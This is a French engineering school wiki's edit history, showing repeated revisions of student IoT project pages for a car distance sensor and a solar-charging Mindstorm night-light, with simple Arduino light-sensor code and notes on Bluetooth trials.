Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P5 IOT 2017

2018-01-24T17:19:37Z

Bhagui : /* Rendu */

=Présentation du sujet =

==Contexte==
Nous effectuons ce projet dans le cadre du module internet des objets (Internet of things).
L'objectif de ce module est de créer un objet connecté de notre choix.

==Description du projet==
Combiné avec une application sur smartphone, le capteur de voiture connecté permettra d'effectuer les actions suivantes:
Détecter la distance entre sa voiture et celle de derrière
Si la distance de sécurité n'est pas respectée, affichage d'un message personnalisé (après confirmation par le conducteur)
Calcul de la distance de sécurité que la voiture de derrière doit respecter en fonction de la vitesse du véhicule (Détection GPS)
Aide à la manœuvre en marche-arrière (Détection d’obstacle)+ Signal sonore

=Réalisation=

==Matériel utilisé==

* Matériel 1
* Matériel 2
* ...

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité ...
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==
Exemple d'inclusion d'image :
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]

==Détail du travail de la deuxième séance==

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P5_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Fichier:2017 IOT P5 poster.png

2018-01-24T17:18:50Z

Bhagui :

P5 IOT 2017

2018-01-24T17:18:22Z

Bhagui : /* Poster */

=Présentation du sujet =

==Contexte==
Nous effectuons ce projet dans le cadre du module internet des objets (Internet of things).
L'objectif de ce module est de créer un objet connecté de notre choix.

==Description du projet==
Combiné avec une application sur smartphone, le capteur de voiture connecté permettra d'effectuer les actions suivantes:
Détecter la distance entre sa voiture et celle de derrière
Si la distance de sécurité n'est pas respectée, affichage d'un message personnalisé (après confirmation par le conducteur)
Calcul de la distance de sécurité que la voiture de derrière doit respecter en fonction de la vitesse du véhicule (Détection GPS)
Aide à la manœuvre en marche-arrière (Détection d’obstacle)+ Signal sonore

=Réalisation=

==Matériel utilisé==

* Matériel 1
* Matériel 2
* ...

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité ...
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==
Exemple d'inclusion d'image :
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]

==Détail du travail de la deuxième séance==

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

[[Fichier:]]==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P5_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:42:30Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno
* Raspberry Pi

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression de la carte et code Mindstorm
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier "interfaces" pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande "bluetoothctl".

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

N'ayant pas réussi à réaliser une communication entre nos deux composants avec bluetoothctl, durant cette séance nous avons essayé avec le module "pybluez". Malheureusement cela n'as pas marché.

==Détail du travail de la cinquième séance==
Nous avons eu accès durant cette séance à un code utilisé pour faire communiquer une Foxboard et le Mindstorm, ayant quelques soucis à le prendre en main et le tester, nous avons mis cette tâche en attente pour utiliser un capteur lumière du Mindstorm pour réaliser un prototype(ou presque) à montrer durant la présentation.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:38:11Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno
* Raspberry Pi

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression de la carte et code Mindstorm
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier "interfaces" pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande "bluetoothctl".

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

N'ayant pas réussi à réaliser une communication entre nos deux composants avec bluetoothctl, durant cette séance nous avons essayé avec le module "pybluez". Malheureusement cela n'as pas marché.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:35:24Z

Bhagui : /* Détail du travail de la troisième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno
* Raspberry Pi

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression de la carte et code Mindstorm
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier "interfaces" pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande "bluetoothctl".

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:27:57Z

Bhagui : /* Suivi de réalisation */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno
* Raspberry Pi

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression de la carte et code Mindstorm
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:25:51Z

Bhagui : /* Matériel utilisé */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno
* Raspberry Pi

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

